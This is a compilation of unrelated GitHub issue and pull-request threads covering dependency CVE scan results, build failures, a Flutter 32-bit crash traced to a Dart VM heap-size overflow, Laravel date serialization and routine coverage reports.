flyway-mysql dependency results in CVE scan failures

Which version and edition of Flyway are you using?
8.5.5 Community
If this is not the latest version, can you reproduce the issue with the latest one as well? (Many bugs are fixed in newer releases and upgrading will often resolve the issue)
it is the latest version
Which client are you using? (Command-line, Java API, Maven plugin, Gradle plugin)
Java API
Which database are you using? (Type & version)
MySQL Community 8.0.28
Which operating system are you using?
Windows 10
What did you do? (Please include the content causing the issue, any relevant configuration settings, the SQL statement(s) that failed (if any), and the command you ran)
When adding the dependency flyway-mysql to the project, the OWASP dependency checker (i am using the maven variant org.owasp:dependency-check-maven:7.0.4) shows 12 CVE entries.
What did you expect to see?
no vulnerabilities
What did you see instead?
One or more dependencies were identified with known vulnerabilities in ...:

flyway-mysql-8.5.5.jar<EMAIL_ADDRESS><EMAIL_ADDRESS>cpe:2.3:a:mysql:mysql:\$\{project.parent.version\}:*:*:*:*:*:*:*):
CVE-2007-1420, CVE-2007-2691, CVE-2007-5925, CVE-2009-0819, CVE-2009-4028, CVE-2010-1621, CVE-2010-1626, CVE-2010-3677, CVE-2010-3682, CVE-2012-5627, CVE-2015-2575, CVE-2017-15945

Best regards,
Steven Pohl-Uhe

Thanks for bringing this up. We have an internal vulnerability scan which we use to update dependencies so closing this.


Retrieval-Augmented Generation (RAG) to customize prompts according to the input text

Currently, few-shot learning prompts contain only fixed examples and thus may not benefit from those examples when processing text that is significantly different from the examples in the prompts. Therefore, introducing RAG enables the customization of prompts according to the input text, i.e., the selection of ground-truth text-RDF pairs that are semantically closest to the input text. Obviously, RAG relies on a manually annotated and/or censored dataset containing ground-truth text-RDF pairs.

Perhaps something else to consider is agentic RAG that can self-correct based on evaluation results.


Build failure on the the rust-1.0.0-alpha

rustc -V
rustc 1.0.0-alpha (44a287e6e 2015-01-08 17:03:40 -0800)
 cargo build
    Updating git repository `https://github.com/iron/iron.git`
    Updating registry `https://github.com/rust-lang/crates.io-index`
 Downloading rustc-serialize v0.2.7
 Downloading url v0.2.16
 Downloading gcc v0.1.4
 Downloading typemap v0.0.7
 Downloading unsafe-any v0.2.1
 Downloading phantom v0.0.3
 Downloading openssl v0.2.15
 Downloading plugin v0.2.0
 Downloading hyper v0.1.1
 Downloading mucell v0.1.10
 Downloading regex v0.1.10
 Downloading log v0.1.9
 Downloading mime v0.0.6
 Downloading unicase v0.0.2
 Downloading pkg-config v0.1.4
 Downloading cookie v0.1.8
 Downloading time v0.1.12
 Downloading matches v0.1.2
 Downloading modifier v0.0.7
 Downloading openssl-sys v0.2.15
 Downloading error v0.1.1
 Downloading typeable v0.0.7
   Compiling modifier v0.0.7
   Compiling openssl-sys v0.2.15
   Compiling time v0.1.12
   Compiling mime v0.0.6
/home/ihor/.cargo/registry/src/github.com-1ecc6299db9ec823/modifier-0.0.7/src/lib.rs:2:1: 2:20 error: unstable feature
/home/ihor/.cargo/registry/src/github.com-1ecc6299db9ec823/modifier-0.0.7/src/lib.rs:2 #![feature(plugin)]
                                                                                ^~~~~~~~~~~~~~~~~~~
note: this feature may not be used in the beta release channel
error: aborting due to previous error
   Compiling plugin v0.2.0
Build failed, waiting for other jobs to finish...
Could not compile `modifier`.

To learn more, run the command again with --verbose.

@iho unfortunately this is the current situation, Iron will continue to track nightlies until 1.0 stable, where a solution for cases like this will be devised (perhaps some kind of switch for stable/unstable channels).
As a result, I'm going to close this, since nothing can really be done right now.


Issue with ./ethd keys prepare-address-change

To start, I updated by running
$ ./ethd update

Then
$ ./ethd down
$ ./ethd up

Following along here, https://eth-docker.net/Support/ChangingWithdrawalCredentials, I ran
$ ./ethd keys list

Which succeeded in printing out my validator addresses.
I then ran
$ ./ethd keys prepare-address-change
Generating offline prep file
offline-preparation.json generated
The preparation file has been copied to ./.eth/ethdo/offline-preparation.json
It contains 597444 validators.
Please verify that this matches what you see on https://beaconcha.in/validators

Downloading ethdo

Copy the contents of ./.eth/ethdo to a USB drive, and prepare a Linux Live USB to safely enter your mnemonic.
Please see https://eth-docker.net/Support/ChangingWithdrawalCredentials for details

As you can see, it listed out quite a few validators. I have a few less than 597444.
Some additional notes. This is a vc only setup and I am using Lighthouse.

This is exactly as expected. The offline prep json contains all validators on the chain, so ethdo can just scan the mnemonic and does not need to know your validators while prepping.

Side note, after an update, all you need is ./ethd up. Try it next time. It’ll restart just the changed services.


Reorganize the modules for Function implementations

Thanks to many contributors, we now have many Function implementations under the chainer.functions module. It is convenient that user can access to them via chainer.functions, though the source code is less readable and searchable since they have no grouping based on the type of their functionalities. I want to reorganize the chainer.functions module. Note that I still want to keep the current interface that all functions can be accessed via chainer.functions.

I made a possible structure below. The first level indicates the subpackage of chainer.functions (a.k.a. F), the second the module, and the third the functions. The functions listed below will also be imported to F for convenience (there are some exceptions). I will make a PR for this reorganization.
I also want to exclude create_huffman_tree from chainer.functions, since it is not a function on Variables. Possible options are 1.) moving it to a static method of BinaryHierarchicalSoftmax, or 2.) hiding it and making BinaryHierarchicalSoftmax directly accept word_counts.

connection

bilinear

Bilinear

convolution_2d

Convolution2D
convolution_2d

embed_id

EmbedID

inception

Inception

inception_bn

InceptionBN

linear

Linear
linear

parameter

Parameter

math

basic_math

(Variable operators)

identity

identity

matmul

batch_matmul
matmul

sum

sum

trigonometric

sin
cos

exponential

exp
log

activation

clipped_relu

clipped_relu

leaky_relu

leaky_relu

lstm

lstm

prelu

PReLU

relu

relu

sigmoid

sigmoid

softmax

softmax

softplus

softplus

tanh

tanh

array

concat

concat

copy

copy

reshape

reshape

split_axis

split_axis

loss

vae

bernoulli_nll
gaussian_kl_divergence
gaussian_nll

hierarchical_softmax

BinaryHierarchicalSoftmax

mean_squared_error

mean_squared_error

negative_sampling

NegativeSampling

sigmoid_cross_entropy

sigmoid_cross_entropy

softmax_cross_entropy

softmax_cross_entropy

noize

dropout

dropout

gaussian

gaussian

pooling

average_pooling_2d

average_pooling_2d

pooling_2d

Pooling2D (not imported to F)

max_pooling_2d

max_pooling_2d

spatial_pyramid_pooling_2d

spatial_pyramid_pooling_2d

normalization

local_response_normalization

local_response_normalization

batch_normalization

BatchNormalization

evaluation

accuracy

accuracy

Following an offline conversation with @unnonouno, I've decided to take the option 1 on the create_huffman_tree. Making BinaryHierarchicalSoftmax directly accept the word_counts would be discussed and done by another PR.

I forgot the CaffeFunction. It will be remained as is (not imported to F).


Annotating when cellular component is unknown but anatomy or cell type is known

If a curator has information about the cell type or anatomical structure in which a gene is expressed, but not the subcellular localization, do we want them to be able to annotate this in the SAE?
If so, should this be handled in a similar way as we handle an unknown MF, i.e. we populate the root CC node using evidence supporting the cell or anatomical term annotation?
This would allow filtering of these root CC annotations from the GPAD output like we are doing for the MF annotations.

@vanaukenk @krchristie Can you check if all the skip combinations are working for both default and ccOnly

@tmushayahama
I can now skip individual CC fields in the default editor and it will allow me to enter the annoton, and the display is correct in the graph editor.
However, I still get an error message in the summary table when I just enter one GO term and then a cell type.  It seems the summary table is still expecting the first entry below the CC term to be another CC term.  Are you still working on that part?
Here's the test model:
http://<IP_ADDRESS>:8910/editor/graph/gomodel:5ae3d45e00000111

I've just tried three different annotons, in this model:
http://<IP_ADDRESS>:8910/workbench/simple-annoton-editor/?model_id=gomodel:5ae3d45e00001425
They all look good to me, both in the graph and the SAE Table View. Although I see error colors flash onto the new Table View rows briefly, they disappear after a second or two.

Yes, this seems to be working well now.  Thx.
One minor issue wrt the table view is that, to be consistent with the MF part of the form that also allows skipping, the different rows should all be left-justified in the CC part of the form.


Take a decision on a array of contexts

Definition of Done

craft.decide can take an array of contexts to take several decisions at once.

We introduced craftai.interpreter.decideFromContextsArray to serve this purpose (it is modeled after our python client craftai.pandas.Client.decide_from_contexts_df


update integration-tests job

<!--
Hello, friend!
Remember to mention what sort of testing/verification you performed in the course of building this PR, i.e. checking functionality in the browser locally.
Also, so if a screen recording [1] and/or screenshots would be a helpful way to communicate context, please consider including some in your PR description.
Thanks!

[1] https://support.apple.com/guide/quicktime-player/record-your-screen-qtp97b08e666/mac
--!>

@aweng98 can this be closed?

yes.


How to pass additional parameters to the  slurm-submit script?

I've seen you wrote a long list of arguments which can be given to the slurm-submit.py how can I pass them to the script?
I tried in the config.yaml
time:600
and it passed the 600 as target to the snakefile, which search for the file.

Hi, sorry for late reply; no, I hadn't seen your question and it seems missing in my mail. I think it'd be better if you post issues on the SnakemakeProfiles page.
Anyhow; I decided to model the submit script on the one in pbs-torque without actually having looked into the details of how to pass parameters from within snakemake. As you have noticed, it's not evident how to do so, and I'm afraid I don't have an answer at the moment.

Rereading your issue description now makes me realize I didn't read it carefully enough. If you want to change running time for a rule, use the resources keyword, e.g:
rule foo:     resources: runtime=600
Closing for now, but feel free to reopen if you want to discuss it further.


fix for dhcpd6 not being configured.

dhcpd6 needs configuring whether it's manual override or not. This patch checks to see if track6 is set and uses that as the conditional.

My review was stuck in "pending" mode. I've added a simpler fix as mentioned in #2675 via dc02745. Thanks!


feat: add sign fn for sign_message

While it's not hard to create the signature using secp256k1 modules, it's more convenient and safe to provide one-way function to generate signed signature(even without knowledge about the semantics of bitcoin message signing).

Pull Request Test Coverage Report for Build<PHONE_NUMBER>1
Details

0 of 7 (0.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.03%) to 82.634%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

bitcoin/src/sign_message.rs
0
7
0.0%

Totals

Change from base Build<PHONE_NUMBER>9:
-0.03%

Covered Lines:
19138

Relevant Lines:
23160

💛  - Coveralls

add secp_ctx as param!


Change URL to find lmnsqueezy store ID in README.md

I could not find the ID in the "General" Settings but found it in the "Stores" settings.

Good call! Thanks


[FEATURE] Support dynamic allocation for Spark 2.3

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Search before asking

[X] I have searched in the issues and found no similar issues.

Describe the feature
We can refer to https://github.com/apache/incubator-uniffle/blob/master/patch/spark/spark-3.2.1_dynamic_allocation_support.patch
We should add the patch for Spark 2.3. You can use the ut of Spark to verify the effect of this patch.
Motivation
No response
Describe the solution
No response
Additional context
No response
Are you willing to submit PR?

[ ] Yes I am willing to submit a PR!

@LuciferYang @summaryzb Could you help me with this issue?


Show only ConditionalAccessPolicies that failed

User can have defined lot of policies and original query was showing only 3. New query will filter only on ConditionalAccessPoliciesName that failed during the login process.
Required items, please complete
Change(s):
Added filter that will show only ConditionalAccessPolicies that have failed
Reason for Change(s):
Results were too broad
Version Updated:
Yes
Testing Completed:
Yes
Checked that the validations are passing and have addressed any issues that are present:
Yes

@petebryan please verify my change in the analytic query.

@petebryan : Please check analytics and provide your approval.Thanks!

@petebryan : Please check analytics and provide your approval. Thanks!

@petebryan : Please check analytics and provide your approval. Thanks!

@aprakash13 can you verify my changes? Thanks

@aprakash13 / @petebryan: Please check analytics and provide your approval. Thanks!

@Palciny : Please resolve the conflicts. Thanks!


All android-arm(32bit) applications crash on android phone with 18G of RAM

Steps to Reproduce

Run cd examples/hello_world.
Run flutter run --verbose -Ptarget-platform=android-arm.
...

Expected results:
32bit applications work well on 18G(RAM) Android phone.

Both 2.2.3 and master branch crash the hello_world application.

Hi @kyle604,
Thanks for filing the issue, Please provide the output of flutter doctor -v along with minimal reproducible code sample, This helps to better investigate the issue.
Thank you.

Hi @maheshmnj,
I use the hello_world code sample of master branch to test the issue.
The 32bit application crashes only on the android phone with 18G of RAM. It  works well on the 16G phone.
The 64bit application works well on the 18G phone.
Here's the output of flutter doctor -v
[✓] Flutter (Channel master, 2.4.0-5.0.pre.166, on Arch Linux 5.13.4-arch1-1, locale zh_CN.UTF-8)
    • Flutter version 2.4.0-5.0.pre.166 at /home/kyle/prj/flutter
    • Upstream repository github:flutter/flutter
    • Framework revision 2dc11a85ff (81 minutes ago), 2021-07-22 17:56:03 -0700
    • Engine revision fbbb3b3f7b
    • Dart version 2.14.0 (build 2.14.0-343.0.dev)

[✓] Android toolchain - develop for Android devices (Android SDK version 31.0.0)
    • Android SDK at /home/kyle/code/android/android-sdk
    • Platform android-31, build-tools 31.0.0
    • ANDROID_HOME = /home/kyle/code/android/android-sdk
    • Java binary at: /home/kyle/code/android/android-studio/jre/bin/java
    • Java version OpenJDK Runtime Environment (build 11.0.8+0-b944-P17168821)
    • All Android licenses accepted.

[✗] Chrome - develop for the web (Cannot find Chrome executable at google-chrome)
    ! Cannot find Chrome. Try setting CHROME_EXECUTABLE to a Chrome executable.

[✓] Android Studio (version 4.2)
    • Android Studio at /home/kyle/code/android/android-studio
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.8+0-b944-P17168821)

[✓] Proxy Configuration
    • HTTP_PROXY is set
    • NO_PROXY is <IP_ADDRESS>,localhost,<IP_ADDRESS>/8,<IP_ADDRESS>/8
    • NO_PROXY contains <IP_ADDRESS>
    • NO_PROXY contains localhost

[✓] Connected device (1 available)
    • PHONE (mobile) •<PHONE_NUMBER>11111 • android-arm64 • Android 11 (API 30)

BTW, I think the error log may be: [ +627 ms] E/DartVM  (13711): Exhausted heap space, trying to allocate 8 bytes.
Thanks!

Hi @kyle604

The 32bit application crashes only on the android phone with 18G of RAM, but it works well on the 16G phone.
The 64bit application works well on the 18G phone.

18GB of RAM on emulator or physical devce?
    • PHONE (mobile) •<PHONE_NUMBER>11111 • android-arm64 • Android 11 (API 30) suggest you're running on physical device as it doesn't have emualtor tag such Android 11 (API 30) (emulator)
Can you please provide more details of this device? What OS does it run? Can you please a native Android sample and tet on this device in 32 bit?
Thank you

Hi @kyle604

The 32bit application crashes only on the android phone with 18G of RAM, but it works well on the 16G phone.
The 64bit application works well on the 18G phone.

18GB of RAM on emulator or physical devce?
 • PHONE (mobile) •<PHONE_NUMBER>11111 • android-arm64 • Android 11 (API 30) suggest you're running on physical device as it doesn't have emualtor tag such Android 11 (API 30) (emulator)
Can you please provide more details of this device? What OS does it run? Can you please a native Android sample and tet on this device in 32 bit?
Thank you

It's a phyiscal device. It's for development purpose only, so the serial number is 11111.  It runs Android 11.
Thanks!

Hi @kyle604
Without knowing what device it is and OS and does it  run native 32bits app, confimration that it only fails Flutter,
it is hard to pinpoint the issue to just RAM specification wuthout such details

Can you please a native Android sample and tet on this device in 32 bit?

Hi @TahaTesser ,
I'm Kyle's colleague. We are running Android 11 (Google GSI+GKI) on this 18G device.
And native 32bits app does not crash on this device.
We tried to remap and reduce ram size to 16G, then the 32bits flutter crashes symptom disappeared.
Do you need any other information?
Thanks,
Mickey

Flutter2 bug!no one fixed it!
https://github.com/flutter/flutter/issues/85372#event-5049914258

@ghostgzt
The issue was closed with no response, if you have more information,  please provide in the original issue

@a-siva Speculatively, this seems like address space exhaustion. I am not sure if Dart supports such a configuration. The workaround is to use the aarch64 engine variant.

"E/DartVM  (13711): Exhausted heap space, trying to allocate 8 bytes" is printed by the Dart VM when it fails to allocate an object even after atempting a Full Garbage Collection. This will result in an OOM exception being thrown from Dart.
The lines in the crash log below, seem to indicate that some C+= code in libflutter.so tried to malloc memory which returned a null and yet there was a dereference done which lead to the SIGSEGV crash.
07-22 16:55:35.028 13807 13807 F DEBUG   : Cause: null pointer dereference
07-22 16:55:35.028 13807 13807 F DEBUG   :     r0  00000000  r1  00000001  r2  00000004  r3  00000008
07-22 16:55:35.028 13807 13807 F DEBUG   :     r4  eff03640  r5  c1253b48  r6  0000011a  r7  ef98c820
07-22 16:55:35.028 13807 13807 F DEBUG   :     r8  00000001  r9  00010101  r10 01000000  r11 c1259430
07-22 16:55:35.028 13807 13807 F DEBUG   :     ip  ece78f58  sp  ffb77e08  lr  c0ff3d01  pc  c0f3ac00
07-22 16:55:35.028 13807 13807 F DEBUG   : backtrace:
07-22 16:55:35.028 13807 13807 F DEBUG   :       #00 pc 01520c00  /data/app/~~spcaCJr3Uu979-hSBRTnlQ==/io.flutter.examples.hello_world-0vgqyqlDdnmPCNrcZLK6cw==/lib/arm/libflutter.so (BuildId: 03a3d2987af899c8347a5ca9cbfb82e660d7d8fd)
I still can't figure out why the app works fine with lesser memory 16G compared to 18G, I hypothesis could be that with lesser memory the heap exhausation happens sooner an OOM exception is thrown and the app handles OOM exceptions and recovers  but with slighly higher memory it takes a different path that causes the C++ malloc allocation to happen which fails leading to the null dereference and the SIGSEGV crash,

Hi @a-siva ,
We tried to report as 16GB memory size in JNI load, framework.
There's no more crashes on the 18GB devices.
FYI.
Thanks a lot,
Mickey

Hi @a-siva ,
We tried to report as 16GB memory size in JNI load, framework.
There's no more crashes on the 18GB devices.
FYI.
Thanks a lot,
Mickey

@Michey-Liao How to report as 16GB memory while JNI load? 😄

After this change: https://github.com/flutter/engine/pull/20473 on 16GB or more RAM device, it will set --old-gen-heap-size=16478
bacause device reports 16GB:<PHONE_NUMBER>4 / 1000000 = 16748
And here is dart vm code:

void IsolateGroup::CreateHeap(bool is_vm_isolate,
                              bool is_service_or_kernel_isolate) {
  Heap::Init(this, is_vm_isolate,
             is_vm_isolate
                 ? 0  // New gen size 0; VM isolate should only allocate in old.
                 : FLAG_new_gen_semi_max_size * MBInWords,
             (is_service_or_kernel_isolate ? kDefaultMaxOldGenHeapSize
                                           : FLAG_old_gen_heap_size) *
                 MBInWords);
// ...
}

When dart vm is compiled to arm32 bit, the intptr_t will be signed int32, the FLAG_old_gen_heap_size) * MBInWords this multiplication will overflow to negetive number.
cc @dnfield

cc @ghostgzt

@eggfly thanks for the investigation and pointing out the bug, we will fix the VM code to not have this overflow issue by using a max value in 32 bit mode when an invalid old_gen_heap_size option is specified.

@eggfly thanks for the investigation and pointing out the bug, we will fix the VM code to not have this overflow issue by using a max value in 32 bit mode when an invalid old_gen_heap_size option is specified.

which flutter version is fixed?

Thanks, @eggfly and @a-siva.
Waiting for fixed build.

@a-siva Can you cross reference the fix here please?

According to the change of flutter/engine#20473, I find a workaround, may help someone also stuck in in this issue. Before fixed, you can override OldGetHeapSize by appending a metadata for your 32bit Android app, for example:
<application ...>
    <meta-data
            android:name="io.flutter.embedding.android.OldGenHeapSize"
            android:value="1024" />
</application>

https://dart-review.googlesource.com/c/sdk/+/212267

@a-siva Can you cross reference the fix here please?
https://dart-review.googlesource.com/c/sdk/+/212267

This change has rolled into the engine, so closing it now.


Start * expressions for multiple file selection in overrides.

I am trying to grab all the less files from a project. My overrides object
  "overrides": {
    "flag-icon-css": {
      "main": [
        "less/*.less"
      ]
    }

What I get as a result in my css file
@import "../../bower_components/flag-icon-css/less/*.less";

When I would expect a list of imports with each less file.
Is it me that is missing something or the overrides expect an explicit list of each file? I am using it with grunt-wiredep if that affects in any matter. Thanks.

It's 2015 :)

Note that using globs in main is invalid in a normal bower.json; see https://github.com/bower/bower.json-spec/commit/0b34d2bb0bdd4fa31fa9728f787f49e170e41f99#diff-04c6e90faac2675aa89e2176d2eec7d8R92

Thanks @cvrebert. I think we should probably stay away from supporting globs. It would be dangerous, as it could potentially yield different results with each package update.
Closing, but feel free to continue discussing if you think I'm missing something.


"react-table": "^7.0.0-rc.12" Tag is missing

STOP
We do not use Github to track general support. Please use our public support forum at https://github.com/tannerlinsley/react-table/discussions.
NOTE: If a support/help/question issue is opened, it will be closed immediately and be redirected to the forum. Thanks for helping us keep our issues clean and productive!

Since this is an RC tag, and the latest is stable, I don't see how this is an issue.


[Homepage] Adding CNCF Landscape to Meshery Home page

Current Behavior
We currently have no section highlighting Meshery as proudly representing service mesh management in the CNCF Landscape.
Desired Behavior
It will be good to created a new section, adding the CNCF landscape in Meshery home page

Below is the design file
https://www.figma.com/file/SMP3zxOjZztdOLtgN4dS2W/Meshery-UI?node-id=1060%3A8

@austinogiza this should be opened in the meshery.io repo. Moving issue...


Update http4s-circe, http4s-dsl, ... to 0.22.1

Updates

org.http4s:http4s-circe
org.http4s:http4s-dsl
org.http4s:http4s-ember-server

from 0.21.25 to 0.22.1.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Applied Migrations

github:http4s/http4s/v0_22?sha=v0.22.0

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.http4s" } ]

labels: library-update, semver-minor, scalafix-migrations

Superseded by #158.


Create a migrate tips function

For #3399, includes #3420

!m @rohitpaulk

Once #3415 settles down let's figure out how to merge https://github.com/gratipay/gratipay.com/issues/3399#issuecomment-102175471 and this.

Rebased on master.

I suppose we want to run this when we approve a team for the first time.

How does this compare with the SQL I used the other day?
https://github.com/gratipay/gratipay.com/issues/3399#issuecomment-102175471

How does this compare with the SQL I used the other day?

That excludes tips from suspicious/closed/unclaimed accounts and also checks for amount > 0. Makes sense to exclude those here too.

I suppose we want to run this when we approve a team for the first time.

Should we also send the tippers (subscribers, now) a notification?

@rohitpaulk Yes, definitely. Good call.

We should go back and notify the new subscribers from last week as well.

Rebased on master.

@whit537 - I'm going to use this for https://github.com/gratipay/gratipay.com/issues/3486#issuecomment-106622666, can you have a look and merge it in?

Yes, just reread it, looks good. Go ahead and merge once Travis runs green.

Deploying...

Deployed.

Awesome. Now to call it for the users in question?

I tested this on a backup, I can confirm that tips are migrated and an error is raised if the migration is attempted twice.

Now to call it for the users in question?

Yep. Heading back to #3486...


Glitch with conversion to Binary output

Shows a glitch when there's a space at the end of the input on the result, when using mobile.

Fixed with most recent pull.


Adding a poster in women's section

Issue Description

Include a banner/poster related to women's footwear on the women.html page at the top of the page just below the navbar.
Something like this

Please share the screenshot while creating the PR

Are you a Hacktoberfest'21 contributor

[X] Yes, I'am Hacktoberfest'21 contributor

I want to do this. Please assign it to me

sure @soumali28


Update github workflow actions

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 59.90%. Comparing base (370c772) to head (0f85743).
Report is 14 commits behind head on master.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##           master     #245      +/-   ##
==========================================
- Coverage   64.29%   59.90%   -4.40%
==========================================
  Files          72       74       +2
  Lines        4406     4734     +328
  Branches      555      634      +79
==========================================
+ Hits         2833     2836       +3
- Misses       1327     1653     +326
+ Partials      246      245       -1

Components
Coverage Δ

AuthManager
77.77% <ø> (ø)

Cache
29.94% <ø> (ø)

FDS
70.95% <ø> (-0.17%)
:arrow_down:

FileWatcher
56.25% <ø> (ø)

Flip
65.34% <ø> (ø)

gRPC
77.30% <90.00%> (+0.25%)
:arrow_up:

Logging
15.46% <3.69%> (-14.72%)
:arrow_down:

Metrics
80.20% <ø> (ø)

Options
100.00% <ø> (ø)

Setting
56.79% <ø> (ø)

StatusObject
73.83% <ø> (ø)

Utility
82.51% <100.00%> (-0.21%)
:arrow_down:

Version
95.83% <ø> (ø)


The typo only happens in code, and there is no use of the word “Testimonials” in the landing page.
Fixed the typo by adjusting the variable, component, and import names.

Screenshot of the Testimonials component still working after the changes.


genivi-dev-platform: Add IoTivity package group from oic

Bug: https://at.projects.genivi.org/jira/browse/GOCF-27
Change-Id: I4b07a5f7ab995df8db83f54cb14710e600f4d0da
Signed-off-by: Philippe Coval<EMAIL_ADDRESS>Please merge
https://github.com/GENIVI/genivi-dev-platform/pull/52
before or at the sametime
For support ask me or check:
https://wiki.iotivity.org/automotive
https://wiki.iotivity.org/yocto
https://wiki.iotivity.org/examples

As
https://github.com/GENIVI/genivi-dev-platform/pull/52
is just merged you can also consider adding iotivity to GDP,
it will help to support ocf automotive demos

@rzr I'm glad to see more iotivity stuff coming in.
Just a question - are those demos scheduled to be included in GDP Master soon?  Basically I think the services should be enabled in GDP Master kind of near the same time as there is a demonstration that is reasonably easy for users to run.  I did a little looking at the content of this package group and found a few services and iotivity-simple-client, but to be honest I don't know much about its usage.  What can we do with it?  @zeenix - I suppose you talk to rzr as often as you can? :-)

Well those examples are reference unit tests to validate ocf stack,
To get started you can check this short article
https://blogs.s-osg.org/run-iotivity-artik-yocto/
While our demo apps were supposed to be ship in meta-genivi-ocf-demo but this proposal was rejected,
so I changed the strategy to do it in longer term and  proceed step by steps, so having iotivity part of GDP seems legit as layer is already part if project ;)
Regards

Hashed it out on irc with rzr.  No services are enabled, just a few small libs and binaries built and deployed.  So this is no big deal.  @zeenix you decide how to handle release/master branch strategy but I'd take this.

FYI, build of the PR passed on 4 tested targets:
https://go.genivi.org/go/pipelines/GDP-Yocto-MINNOWBOARD-meta-genivi-dev-GITHUB-PR/43/build/1
(x 4).

ok cool, yea don't be confused service subpackage is just extra library nothing will be started at boot time

@zeenix hi, any ETA for this then I'll focus on how to upgrade to 1.2.0 after it is landed in GDP
cc: @iamsanjeev / @as2902b

I'm currently on vacation so can't look at details etc but I'm very reluctant to merge anything before release 11 happens.

OK meanwhile I will document on how GDP can use it from this wiki page:
https://wiki.iotivity.org/automotive

Once integrated I will update meta-oic to 1.2.0 as I recently shared recipe to upstream
Meanwhile private repo can be used as explained on:
https://wiki.iotivity.org/automotive

@zeenix , since gdp-11 is released, It would be nice to test this patch before I upgrade meta-oic to 1.2.0 and pull also iotivity-node from meta-iot-web
cc: @gunnarx , @iamsanjeev / @as2902b

@rzr It's not completely released yet. :)

Thanks, more to come at:
https://wiki.iotivity.org/automotive


Support adaptive scoring functions

Currently scoring functions get run in sequence, however for certain functions, this process will take too long.
I would like to support an option to only run a subsequent function if there is not a clear correct decryption. Ways to do this could be to look at the scoring distribution for the decryptions and running more scoring rounds if the values are too close together.

This will be an architectural change, and I havent decided on the early exit strategy yet, so this feature will need more planning


Post Studio :: Send Photos

PTI 010
Function to send photos captured post-studio

@younglisa  do we want a place holder page in the app for send photos

@sshaar08 yes it's this flow:
https://aiaio.invisionapp.com/d/main/#/console/5342955/117207205/preview#project_console
https://aiaio.invisionapp.com/d/main/#/console/5342955/117207203/preview#project_console
https://aiaio.invisionapp.com/d/main/#/console/5342955/117207204/preview#project_console

Per discussion we will leverage native iOS functionality and user will share photos via their camera app as they would any other photos.
Note there will be a separate album that automatically populates photos taken within the studio from which a user can see / share.
@Misokate @sshaar08 @kperusko let me know of any misalignment there.


ci: fix issues in docker, app and release jobs

Pull Request Test Coverage Report for Build<PHONE_NUMBER>7
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 76.055%

Totals

Change from base Build<PHONE_NUMBER>0:
0.0%

Covered Lines:
12117

Relevant Lines:
15865

💛  - Coveralls


How to fix Carbon timezone after upgrading to Laravel 5.8

Laravel Version: 5.8.#
PHP Version: 7.2.#
Database Driver & Version: MySQL 5.7

Description:
After upgrading to Laravel 5.8 the "created_at" field is returning a string like this
"createdAt": "2019-05-01T16:36:25.000000Z"
But I want to return an object like before in Laravel 5.7 like this:
"createdAt": { "date": "2019-05-01 19:36:25.000000", "timezone_type": 3, "timezone": "Asia/Baghdad" }
I did look around the web found nothing about it and there's nothing about it in upgrade guide too. I'm returning it from resources just like that a JSON:
public function toArray($request)
{
    return [
        'id' => $this->id,
        'createdAt' => $this->created_at,
    ];
}

Steps To Reproduce:

https://carbon.nesbot.com/docs/
near the bottom in section about carbon 2

@rs-sliske I did try that it gives error:
Carbon::serializeUsing(function ($date) {
    return [
        'date' => $date->toDateTimeString(),
        'timezone_type' => $date->timezone_type,
        'timezone' => $date->tzName,
    ];
});

And:
$date = $this->created_at;
Carbon::serializeUsing(function ($date) {
return [
'date' => $date->toDateTimeString(),
'timezone_type' => $date->timezone_type,
'timezone' => $date->tzName,
];
});

That's how I could solve it:
public function toArray($request)
{
    return [
        'id' => $this->id,
        'createdAt' => $this->created_at,
        'date' => Carbon::serializeUsing(function ($createdAt) {
            return [
                'date' => $createdAt->toDateTimeString(),
                'timezone_type' => $createdAt->timezone_type,
                'timezone' => $createdAt->tzName,
            ];
        }),
    ];
}

Now it returns an object like this:
"createdAt": {
                "date": "2019-05-01 19:36:25",
                "timezone_type": 3,
                "timezone": "Asia/Baghdad"
             },
             "date": null

Hi there,
Thanks for reporting but it looks like this is a question which can be asked on a support channel. Please only use this issue tracker for reporting bugs with the library itself. If you have a question on how to use functionality provided by this repo you can try one of the following channels:

Laracasts Forums
Laravel.io Forums
StackOverflow
Discord
Larachat
IRC

Thanks!

serializeUsing is more setting config rather than a formatter.
i think it is expected that you would call that in a service provider etc, and then anywhere where you try to convert a carbon instance to json it will format it in the way you set

Fix! https://laravel.com/docs/5.8/eloquent-serialization#date-serialization
public function boot(): void
    {
        Carbon::serializeUsing(static function ($carbon) {
            return [
                'date' => $carbon->toDateTimeString(),
                'timezone_type' => $carbon->timezone_type,
                'timezone' => $carbon->tzName,
            ];
        });
    }


Make it works with imports

Currently, it works with template itself, but if you have imports in it - it won't.
E.g.

My block

vs
{% from './macro.njk' import myBlock %}
myBlock();

should be solved in #4


Testing your model on my own data

Hi,
First of all thanks for sharing your code.
I want to test the model on my own dataset.
What changes will be needed in the test file to work?

Am I limited to a specific image size?
What values should I use for --w_patch and --h_patch ?
Should the chosen coroners need to be with respect to the original image coordinate system or with respect to the patched image?

Thanks,
Yuval

Hi~

Image size is suggested to be close to the given patch size
Patch size can not change
the chosen corners need to be with respect to the original image coordinate system


Add spotbug checks for pulsar-client-api module

Motivation
Add spotbugs plugin for pulsar-client-api module.
Modifications
The most potential bugs are related to the raw array's getter/setter/constructor and the rest one is just a default method of an interface, so we just ignore these spotbugs.
Verifying this change

[ ] Make sure that the change passes the CI checks.

(Please pick either of the following options)
This change is a trivial rework / code cleanup without any test coverage.

/pulsarbot run-failure-checks

/pulsarbot run-failure-checks


